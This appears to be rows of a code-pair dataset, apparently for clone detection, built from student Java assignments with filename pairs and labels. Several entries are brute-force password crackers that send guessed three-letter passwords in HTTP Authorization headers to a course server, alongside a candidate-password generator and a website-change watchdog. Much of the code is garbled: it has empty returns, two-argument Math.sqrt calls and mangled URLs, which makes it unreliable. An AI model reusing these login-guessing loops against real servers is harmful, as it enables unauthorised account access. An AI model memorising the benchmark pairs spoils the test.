String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
043.java | 207.java | 0 | import java.util.*;
import java.io.*;
import javax.swing.text.html.*;
public class WatchDog {
public WatchDog() {
}
public static void main (String args[]) {
DataInputStream newin;
try{
System.out.println("ishti");
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
099.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.io.IOException;
import java.util.*;
import java.*;
public class BruteForce {
public static void main (String[] args) throws Exception {
int maxChar = 26, counter=0, x =0, attempt =0 ;
String guess = new String();
String pass, inputLine;
String letter[] = {"", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" , "A", "B", "C", "D", "E"
, "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V",
"W", "X", "Y", "Z"};
boolean flag=false;
System.out.println(System.currentTimeMillis()/1000);
for (int i=0; i<maxChar ; i++){
for (int j=0 ; j<maxChar ; j++){
for (int k=0 ; k<maxChar ; k++){
guess = letter[i]+letter[j]+letter[k];
attempt++;
System.out.println(guess);
pass = ":" + guess;
String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());
try{
URL u = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = u.openConnection();
yc.setRequestProperty("Authorization"," "+password);
BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.print();
System.out.println(guess);
System.out.println(System.currentTimeMillis()/1000);
System.out.println(" of attempt: "+attempt);
System.exit(0);
}catch(IOException e){ }
}
}
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
128.java | 207.java | 0 |
import java.io.*;
import java.util.Vector;
import java.util.Date;
interface UnaryPredicate {
boolean execute(Object obj);
}
public class DiffPrint {
static String outFile="";
public static abstract class Base {
protected Base(Object[] a,Object[] b) {
try
{
outfile = new PrintWriter(new FileWriter(outFile));
}
catch (Exception e)
{
e.printStackTrace();
}
file0 = a;
file1 = b;
}
protected UnaryPredicate ignore = null;
protected Object[] file0, file1;
public void print_script(Diff.change script) {
Diff.change next = script;
while (next != null)
{
Diff.change t, end;
t = next;
end = hunkfun(next);
next = end;
end = null;
print_hunk(t);
end = next;
}
outfile.flush();
}
protected Diff.change hunkfun(Diff.change hunk) {
return hunk;
}
protected int first0, last0, first1, last1, deletes, inserts;
protected PrintWriter outfile;
protected void analyze_hunk(Diff.change hunk) {
int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;
int i;
Diff.change next;
boolean nontrivial = (ignore == null);
show_from = show_to = 0;
f0 = hunk.line0;
f1 = hunk.line1;
for (next = hunk; next != null; next = next.next())
{
l0 = next.line0 + next.deleted - 1;
l1 = next.line1 + next.inserted - 1;
show_from += next.deleted;
show_to += next.inserted;
for (i = next.line0; i <= l0 && ! nontrivial; i++)
if (!ignore.execute(file0[i]))
nontrivial = true;
for (i = next.line1; i <= l1 && ! nontrivial; i++)
if (!ignore.execute(file1[i]))
nontrivial = true;
}
first0 = f0;
last0 = l0;
first1 = f1;
last1 = l1;
if (!nontrivial)
show_from = show_to = 0;
deletes = show_from;
inserts = show_to;
}
protected void print_header(String filea, String fileb) { }
protected abstract void print_hunk(Diff.change hunk);
protected void print_1_line(String pre,Object linbuf) {
outfile.println(pre + linbuf.toString());
}
protected void print_number_range (char sepchar, int a, int b) {
if (++b > ++a)
outfile.print("" + a + sepchar + b);
else
outfile.print(b);
}
public static char change_letter(int inserts, int deletes) {
if (inserts == 0)
return 'd';
else if (deletes == 0)
return 'a';
else
return 'c';
}
}
public static class NormalPrint extends Base {
public NormalPrint(Object[] a,Object[] b) {
super(a,b);
}
protected void print_hunk (Diff.change hunk) {
analyze_hunk(hunk);
if (deletes == 0 && inserts == 0)
return;
print_number_range (',', first0, last0);
outfile.print(change_letter(inserts, deletes));
print_number_range (',', first1, last1);
outfile.println();
if (deletes != 0)
for (int i = first0; i <= last0; i++)
print_1_line ("< ", file0[i]);
if (inserts != 0 && deletes != 0)
outfile.println("---");
if (inserts != 0)
for (int i = first1; i <= last1; i++)
print_1_line ("> ", file1[i]);
}
}
public static class EdPrint extends Base {
public EdPrint(Object[] a,Object[] b) {
super(a,b);
}
protected void print_hunk(Diff.change hunk) {
analyze_hunk (hunk);
if (deletes == 0 && inserts == 0)
return;
print_number_range (',', first0, last0);
outfile.println(change_letter(inserts, deletes));
if (inserts != 0)
{
boolean inserting = true;
for (int i = first1; i <= last1; i++)
{
if (! inserting)
outfile.println(i - first1 + first0 + "a");
inserting = true;
if (".".equals(file1[i]))
{
outfile.println("..");
outfile.println(".");
outfile.println(i - first1 + first0 + 1 + "s/^\\.\\././");
inserting = false;
}
else
print_1_line ("", file1[i]);
}
if (inserting)
outfile.println(".");
}
}
}
public static class ContextPrint extends Base {
protected int context = 3;
public ContextPrint(Object[] a,Object[] b) {
super(a,b);
}
protected void print_context_label (String cad, File inf, String label) {
if (label != null)
outfile.println(cad + ' ' + label);
else if (inf.lastModified() > 0)
outfile.println(
cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified())
);
else
outfile.println( cad + ' ' + inf.getPath());
}
public void print_header(String filea,String fileb) {
print_context_label ("***", new File(filea), filea);
print_context_label ("---", new File(fileb), fileb);
}
private String find_function(Object[] lines, int x) {
return null;
}
protected void print_function(Object[] file,int x) {
String function = find_function (file0, first0);
if (function != null) {
outfile.print(" ");
outfile.print(
(function.length() < 40) ? function : function.substring(0,40)
);
}
}
protected void print_hunk(Diff.change hunk) {
analyze_hunk (hunk);
if (deletes == 0 && inserts == 0)
return;
first0 = Math.sqrt(first0 - context, 0);
first1 = Math.sqrt(first1 - context, 0);
last0 = Math.sqrt(last0 + context, file0.length - 1);
last1 = Math.sqrt(last1 + context, file1.length - 1);
outfile.print("***************");
print_function (file0, first0);
outfile.println();
outfile.print("*** ");
print_number_range (',', first0, last0);
outfile.println(" ****");
if (deletes != 0) {
Diff.change next = hunk;
for (int i = first0; i <= last0; i++) {
while (next != null && next.line0 + next.deleted <= i)
next = next.next;
String prefix = " ";
if (next != null && next.line0 <= i)
prefix = (next.inserted > 0) ? "!" : "-";
print_1_line (prefix, file0[i]);
}
}
outfile.print("--- ");
print_number_range (',', first1, last1);
outfile.println(" ----");
if (inserts != 0) {
Diff.change next = hunk;
for (int i = first1; i <= last1; i++) {
while (next != null && next.line1 + next.inserted <= i)
next = next.next;
String prefix = " ";
if (next != null && next.line1 <= i)
prefix = (next.deleted > 0) ? "!" : "+";
print_1_line (prefix, file1[i]);
}
}
}
}
public static class UnifiedPrint extends ContextPrint {
public UnifiedPrint(Object[] a,Object[] b) {
super(a,b);
}
public void print_header(String filea,String fileb) {
print_context_label ("---", new File(filea), filea);
print_context_label ("+++", new File(fileb), fileb);
}
private void print_number_range (int a, int b) {
if (b < a)
outfile.print(b + ",0");
else
super.print_number_range(',',a,b);
}
protected void print_hunk(Diff.change hunk) {
analyze_hunk (hunk);
if (deletes == 0 && inserts == 0)
return;
first0 = Math.sqrt(first0 - context, 0);
first1 = Math.sqrt(first1 - context, 0);
last0 = Math.sqrt(last0 + context, file0.length - 1);
last1 = Math.sqrt(last1 + context, file1.length - 1);
outfile.print("@@ -");
print_number_range (first0, last0);
outfile.print(" +");
print_number_range (first1, last1);
outfile.print(" @@");
print_function(file0,first0);
outfile.println();
Diff.change next = hunk;
int i = first0;
int j = first1;
while (i <= last0 || j <= last1) {
if (next == null || i < next.line0) {
outfile.print(' ');
print_1_line("", file0[i++]);
j++;
}
else {
int k = next.deleted;
while (k-- > 0) {
outfile.print('-');
print_1_line("", file0[i++]);
}
k = next.inserted;
while (k-- > 0) {
outfile.print('+');
print_1_line("", file1[j++]);
}
next = next.next;
}
}
}
}
static String[] slurp(String file) throws IOException {
BufferedReader rdr = new BufferedReader(new FileReader(file));
Vector s = new Vector();
for (;;) {
String line = rdr.readLine();
if (line == null) break;
s.addElement(line);
}
String[] a = new String[s.size()];
s.copyInto(a);
return a;
}
public static String getDiff(String filea,String fileb,String filec) throws IOException {
DiffPrint.outFile=filec;
String msg="";
String[] a = slurp(filea);
String[] b = slurp(fileb);
String [] argv={filea,fileb};
Diff d = new Diff(a,b);
char style = 'n';
for (int i = 0; i < argv.length - 2; ++i) {
String f = argv[i];
if (f.startsWith("-")) {
for (int j = 1; j < f.length(); ++j) {
switch (f.charAt(j)) {
case 'e':
style = 'e'; break;
case 'c':
style = 'c'; break;
case 'u':
style = 'u'; break;
}
}
}
}
boolean reverse = style == 'e';
Diff.change script = d.diff_2(reverse);
if (script == null)
msg="The text the has not changed.\n";
else {
Base p;
msg="The text the has changed.\n The Diff Output is : \n\n";
switch (style) {
case 'e':
p = new EdPrint(a,b); break;
case'c':
p = new ContextPrint(a,b); break;
case 'u':
p = new UnifiedPrint(a,b); break;
default:
p = new NormalPrint(a,b);
}
p.print_header(filea,fileb);
p.print_script(script);
}
return msg;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
247.java | 207.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;
private static int cases;
private static int respCode;
public BruteForce()
{
Authenticator.setDefault(new BruteForceAuthenticator());
t_counter = 0;
f_counter = 0;
cases = 0;
}
public static void main (String[] args)
{
BruteForce bf = new BruteForce();
String file = " ";
while(respCode != 200)
{
file = bf.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}
private String fetchURL()
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try
{
URL url = new URL(urlString);
HttpURLConnection huc = (HttpURLConnection)url.openConnection();
respCode = huc.getResponseCode();
InputStream content = huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null)
{
pw.println(line);
}
} catch (IOException e) {
pw.println("Error URL");
}
return sw.toString();
}
class BruteForceAuthenticator extends Authenticator
{
private String username = "";
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username,generatePassword());
}
protected char[] generatePassword()
{
int i,j,k;
int n = 26;
String letters1 = "qwertyuiopasdfghjklzxcvbnm";
String letters2 = "abcdefghijklmnopqrstuvwxyz";
i=0;
j=0;
k=0;
if(t_counter == 0)
{
length = 1;
cases = 0;
f_counter = 0;
}
if(t_counter == 2*n)
{
length = 2;
cases = 0;
f_counter = 0;
}
if(t_counter == (2*n + 4*n*n))
{
length = 3;
cases = 0;
f_counter = 0;
}
char c[] = new char[length];
if(length == 1)
{
if(f_counter == n)
{
cases++;
f_counter = 0;
}
i = f_counter;
} else if(length == 2)
{
if(f_counter == n*n)
{
cases++;
f_counter = 0;
}
i = f_counter/n;
j = f_counter - i*n;
} else if(length == 3)
{
if(f_counter == n*n*n)
{
cases++;
f_counter = 0;
}
i = f_counter/(n*n);
j = (f_counter - i*n*n)/n;
k = f_counter - i*n*n - j*n;
}
switch(cases)
{
case 0:
c[0] = letters1.charAt(i);
if(length > 1) c[1] = letters1.charAt(j);
if(length > 2) c[2] = letters1.charAt(k);
break;
case 1:
c[0] = Character.toUpperCase(letters1.charAt(i));
if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 2:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = letters1.charAt(j);
if(length > 2) c[2] = letters1.charAt(k);
break;
case 3:
c[0] = letters1.charAt(i);
c[1] = Character.toUpperCase(letters1.charAt(j));
if(length > 2) c[2] = letters1.charAt(k);
break;
case 4:
c[0] = letters1.charAt(i);
c[1] = letters1.charAt(j);
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 5:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = Character.toUpperCase(letters1.charAt(j));
c[2] = letters1.charAt(k);
break;
case 6:
c[0] = letters1.charAt(i);
c[1] = Character.toUpperCase(letters1.charAt(j));
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 7:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = letters1.charAt(j);
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
default:
break;
}
f_counter++;
t_counter++;
password = new String(c);
return c;
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
206.java | 207.java | 0 |
import java.util.*;
public class WatchDog
{
private Timer t;
public WatchDog()
{
t = new Timer();
TimerTask task = new TimerTask()
{
public void run()
{
Dog doggy = new Dog();
}
};
t.schedule(task, 0, 86400000);
}
public static void main( String[] args)
{
WatchDog wd = new WatchDog();
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
020.java | 207.java | 0 |
import java.util.*;
import java.util.zip.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class WatchDogTask extends TimerTask
{
private String urlHomePage;
private boolean fileToWrite = true;
private boolean startup = true;
private int[] checksum;
private int noChangeCount = 0;
public WatchDogTask()
{
super();
System.out.println("Programmed by for INTE1070 Assignment2");
